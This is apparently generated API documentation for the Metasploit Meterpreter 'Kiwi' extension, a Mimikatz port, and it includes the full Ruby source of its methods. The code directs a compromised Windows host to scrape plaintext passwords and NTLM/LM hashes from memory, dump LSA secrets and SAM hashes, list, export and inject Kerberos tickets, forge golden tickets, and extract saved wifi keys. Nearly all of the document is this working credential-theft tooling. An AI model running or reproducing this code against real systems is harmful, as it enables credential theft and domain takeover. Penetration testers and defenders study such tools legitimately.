Class: Rex::Post::Meterpreter::Extensions::Kiwi::Kiwi

Inherits:
Rex::Post::Meterpreter::Extension show all
Defined in:
lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb

Overview

Kiwi extension - grabs credentials from windows memory.

Benjamin DELPY ‘gentilkiwi` blog.gentilkiwi.com/mimikatz

extension converted by OJ Reeves (TheColonial)

Constant Summary collapse

PWD_ID_SEK_ALLPASS =

These are constants that identify the type of credential to dump from the target machine.

0
PWD_ID_SEK_WDIGEST =
1
PWD_ID_SEK_MSV =
2
PWD_ID_SEK_KERBEROS =
3
PWD_ID_SEK_TSPKG =
4
PWD_ID_SEK_LIVESSP =
5
PWD_ID_SEK_SSP =
6
PWD_ID_SEK_DPAPI =
7
KERBEROS_FLAGS =

List of names which represent the flags that are part of the dumped kerberos tickets. The order of these is important. Each of them was pulled from the Mimikatz 2.0 source base.

[
  "NAME CANONICALIZE",
  "<unknown>",
  "OK AS DELEGATE",
  "<unknown>",
  "HW AUTHENT",
  "PRE AUTHENT",
  "INITIAL",
  "RENEWABLE",
  "INVALID",
  "POSTDATED",
  "MAY POSTDATE",
  "PROXY",
  "PROXIABLE",
  "FORWARDED",
  "FORWARDABLE",
  "RESERVED"
].map(&:freeze).freeze

Instance Attribute Summary

Attributes inherited from Rex::Post::Meterpreter::Extension

#name

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Kiwi

Typical extension initialization routine.



66
67
68
69
70
71
72
73
74
75
76
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 66

def initialize(client)
  super(client, 'kiwi')

  client.register_extension_aliases(
    [
      {
        'name' => 'kiwi',
        'ext'  => self
      },
    ])
end

Instance Method Details

#all_passArray<Hash>

Scrape all passwords from the target machine.

Returns:

  • (Array<Hash>)


321
322
323
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 321

def all_pass
  scrape_passwords(PWD_ID_SEK_ALLPASS)
end

#golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = []) ⇒ String

Create a new golden kerberos ticket on the target machine and return it.

Parameters:

  • user (String)

    Name of the user to create the ticket for.

  • domain (String)

    Domain name.

  • sid (String)

    SID of the domain.

  • tgt (String)

    The kerberos ticket granting token.

  • id (Fixnum) (defaults to: 0)

    ID of the user to grant the token for.

  • group_ids (Array<Fixnum>) (defaults to: [])

    IDs of the groups to assign to the user

Returns:

  • (String)


220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 220

def golden_ticket_create(user, domain, sid, tgt, id = 0, group_ids = [])
  request = Packet.create_request('kiwi_kerberos_golden_ticket_create')
  request.add_tlv(TLV_TYPE_KIWI_GOLD_USER, user)
  request.add_tlv(TLV_TYPE_KIWI_GOLD_DOMAIN, domain)
  request.add_tlv(TLV_TYPE_KIWI_GOLD_SID, sid)
  request.add_tlv(TLV_TYPE_KIWI_GOLD_TGT, tgt)
  request.add_tlv(TLV_TYPE_KIWI_GOLD_USERID, id)

  group_ids.each do |g|
    request.add_tlv(TLV_TYPE_KIWI_GOLD_GROUPID, g)
  end

  response = client.send_request(request)
  return response.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
end

#kerberosArray<Hash>

Scrape Kerberos credentials from the target machine.

Returns:

  • (Array<Hash>)


369
370
371
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 369

def kerberos
  scrape_passwords(PWD_ID_SEK_KERBEROS)
end

#kerberos_ticket_list(export) ⇒ Array<Hash>

List available kerberos tickets.

Parameters:

  • export (Bool)

    Set to true to export the content of each ticket

Returns:

  • (Array<Hash>)


157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 157

def kerberos_ticket_list(export)
  export ||= false
  request = Packet.create_request('kiwi_kerberos_ticket_list')
  request.add_tlv(TLV_TYPE_KIWI_KERB_EXPORT, export)
  response = client.send_request(request)

  results = []

  response.each(TLV_TYPE_KIWI_KERB_TKT) do |t|
    results << {
      :enc_type     => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_ENCTYPE),
      :start        => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_START),
      :end          => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_END),
      :max_renew    => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_MAXRENEW),
      :server       => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERNAME),
      :server_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_SERVERREALM),
      :client       => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTNAME),
      :client_realm => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_CLIENTREALM),
      :flags        => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_FLAGS),
      :raw          => t.get_tlv_value(TLV_TYPE_KIWI_KERB_TKT_RAW)
    }
  end

  results
end

#kerberos_ticket_purgevoid

This method returns an undefined value.

Purge any Kerberos tickets that have been added to the current session.



202
203
204
205
206
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 202

def kerberos_ticket_purge
  request = Packet.create_request('kiwi_kerberos_ticket_purge')
  client.send_request(request)
  return true
end

#kerberos_ticket_use(ticket) ⇒ void

This method returns an undefined value.

Use the given ticket in the current session.

Parameters:

  • ticket (String)

    Content of the Kerberos ticket to use.



190
191
192
193
194
195
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 190

def kerberos_ticket_use(ticket)
  request = Packet.create_request('kiwi_kerberos_ticket_use')
  request.add_tlv(TLV_TYPE_KIWI_KERB_TKT_RAW, ticket, false, true)
  client.send_request(request)
  return true
end

#livesspArray<Hash>

Scrape LiveSSP credentials from the target machine.

Returns:

  • (Array<Hash>)


345
346
347
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 345

def livessp
  scrape_passwords(PWD_ID_SEK_LIVESSP)
end

#lsa_dumpHash<Symbol,Object>

Dump the LSA secrets from the target machine.

Returns:

  • (Hash<Symbol,Object>)


82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 82

def lsa_dump
  request = Packet.create_request('kiwi_lsa_dump_secrets')

  response = client.send_request(request)

  result = {
    :major    => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MAJ),
    :minor    => response.get_tlv_value(TLV_TYPE_KIWI_LSA_VER_MIN),
    :compname => response.get_tlv_value(TLV_TYPE_KIWI_LSA_COMPNAME),
    :syskey   => response.get_tlv_value(TLV_TYPE_KIWI_LSA_SYSKEY),
    :nt5key   => response.get_tlv_value(TLV_TYPE_KIWI_LSA_NT5KEY),
    :nt6keys  => [],
    :secrets  => [],
    :samkeys  => []
  }

  response.each(TLV_TYPE_KIWI_LSA_NT6KEY) do |k|
    result[:nt6keys] << {
      :id    => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYID),
      :value => k.get_tlv_value(TLV_TYPE_KIWI_LSA_KEYVALUE)
    }
  end

  response.each(TLV_TYPE_KIWI_LSA_SECRET) do |s|
    result[:secrets] << {
      :name        => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NAME),
      :service     => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_SERV),
      :ntlm        => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_NTLM),
      :current     => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR),
      :current_raw => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_CURR_RAW),
      :old         => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD),
      :old_raw     => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SECRET_OLD_RAW)
    }
  end

  response.each(TLV_TYPE_KIWI_LSA_SAM) do |s|
    result[:samkeys] << {
      :rid       => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_RID),
      :user      => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_USER),
      :ntlm_hash => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_NTLMHASH),
      :lm_hash   => s.get_tlv_value(TLV_TYPE_KIWI_LSA_SAM_LMHASH)
    }
  end

  result
end

#msvArray<Hash>

Scrape msv credentials from the target machine.

Returns:

  • (Array<Hash>)


337
338
339
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 337

def msv
  scrape_passwords(PWD_ID_SEK_MSV)
end

#scrape_passwords(pwd_id) ⇒ Array<Hash>

Scrape passwords from the target machine.

Parameters:

  • pwd_id (Fixnum)

    ID of the type credential to scrape.

Returns:

  • (Array<Hash>)


282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 282

def scrape_passwords(pwd_id)
  request = Packet.create_request('kiwi_scrape_passwords')
  request.add_tlv(TLV_TYPE_KIWI_PWD_ID, pwd_id)
  response = client.send_request(request)

  # keep track of unique entries
  uniques = Set.new

  results = []
  response.each(TLV_TYPE_KIWI_PWD_RESULT) do |r|
    result = {
      :username => r.get_tlv_value(TLV_TYPE_KIWI_PWD_USERNAME),
      :domain   => r.get_tlv_value(TLV_TYPE_KIWI_PWD_DOMAIN),
      :password => r.get_tlv_value(TLV_TYPE_KIWI_PWD_PASSWORD),
      :auth_hi  => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_HI),
      :auth_lo  => r.get_tlv_value(TLV_TYPE_KIWI_PWD_AUTH_LO),
      :lm       => r.get_tlv_value(TLV_TYPE_KIWI_PWD_LMHASH),
      :ntlm     => r.get_tlv_value(TLV_TYPE_KIWI_PWD_NTLMHASH)
    }

    # generate a "unique" set identifier based on the domain/user/pass. We
    # don't use the whole object because the auth hi/low might be different
    # but everything else might be the same. Join with non-printable, as this
    # can't appear in passwords anyway.
    set_id = [result[:domain], result[:username], result[:password]].join("\x01")

    # only add to the result list if we don't already have it
    if uniques.add?(set_id)
      results << result
    end
  end

  return results
end

#sspArray<Hash>

Scrape SSP credentials from the target machine.

Returns:

  • (Array<Hash>)


353
354
355
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 353

def ssp
  scrape_passwords(PWD_ID_SEK_SSP)
end

#to_kerberos_flag_list(flags) ⇒ Array<String>

Convert a flag set to a list of string representations for the bit flags that are set.

Parameters:

  • flags (Fixnum)

    Integer bitmask of Kerberos token flags.

Returns:

  • (Array<String>)

    Names of all set flags in flags. See KERBEROS_FLAGS



137
138
139
140
141
142
143
144
145
146
147
148
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 137

def to_kerberos_flag_list(flags)
  flags = flags >> 16
  results = []

  KERBEROS_FLAGS.each_with_index do |item, idx|
    if (flags & (1 << idx)) != 0
      results  << item
    end
  end

  results
end

#tspkgArray<Hash>

Scrape TSPKG credentials from the target machine.

Returns:

  • (Array<Hash>)


361
362
363
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 361

def tspkg
  scrape_passwords(PWD_ID_SEK_TSPKG)
end

#wdigestArray<Hash>

Scrape wdigest credentials from the target machine.

Returns:

  • (Array<Hash>)


329
330
331
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 329

def wdigest
  scrape_passwords(PWD_ID_SEK_WDIGEST)
end

#wifi_listArray<Hash>

List all the wifi interfaces and the profiles associated with them. Also show the raw text passwords for each.

Returns:

  • (Array<Hash>)


241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
# File 'lib/rex/post/meterpreter/extensions/kiwi/kiwi.rb', line 241

def wifi_list
  request = Packet.create_request('kiwi_wifi_profile_list')

  response = client.send_request(request)

  results = []

  response.each(TLV_TYPE_KIWI_WIFI_INT) do |i|
    interface = {
      :guid     => Rex::Text::to_guid(i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_GUID)),
      :desc     => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_DESC),
      :state    => i.get_tlv_value(TLV_TYPE_KIWI_WIFI_INT_STATE),
      :profiles => []
    }

    i.each(TLV_TYPE_KIWI_WIFI_PROFILE) do |p|

      xml = p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_XML)
      doc = REXML::Document.new(xml)
      profile = doc.elements['WLANProfile']

      interface[:profiles] << {
        :name        => p.get_tlv_value(TLV_TYPE_KIWI_WIFI_PROFILE_NAME),
        :auth        => profile.elements['MSM/security/authEncryption/authentication'].text,
        :key_type    => profile.elements['MSM/security/sharedKey/keyType'].text,
        :shared_key  => profile.elements['MSM/security/sharedKey/keyMaterial'].text
      }
    end

    results << interface
  end

  return results
end